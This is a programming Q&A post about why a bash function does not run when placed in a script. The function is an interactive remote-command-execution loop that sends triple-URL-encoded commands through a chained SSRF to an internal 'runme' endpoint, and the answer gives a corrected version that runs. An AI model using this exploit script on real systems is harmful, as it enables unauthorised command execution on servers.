Bash function in script vs. at interactive shell

Viewed 27

What's the difference between running this in a bash script and running it directly on the terminal?

#!/bin/bash

function rce(){
    while true; do
        read -p "Enter Target IP: TARGET_IP
        echo -n "# "; read -p cmd
        ECMD=$(echo -n $cmd | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
        curl -s -o - "http://$TARGET_IP/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x={$ECMD}"
        echo ""
    done
}

I added the -p to use enter different IP's

output

this returns nothing in the terminal but doing this get me the expected output.

enter image description here

1 Answers

It didn't do anything in either case. In both the script and when you pasted it into your interactive shell, you defined the function rce but never called it, so ultimately nothing happened. Notice how in the second screenshot you never actually got prompted to "Enter Target IP".

Calling a function has the same syntax as running a regular command. Add the line rce to the end of your script:

#!/bin/bash

function rce() {
    while true; do
        read -p "Enter Target IP:" TARGET_IP
        echo -n "# "; read -p cmd
        ECMD=$(echo -n $cmd | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
        curl -s -o - "http://$TARGET_IP/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x={$ECMD}"
        echo ""
    done
}

rce
Related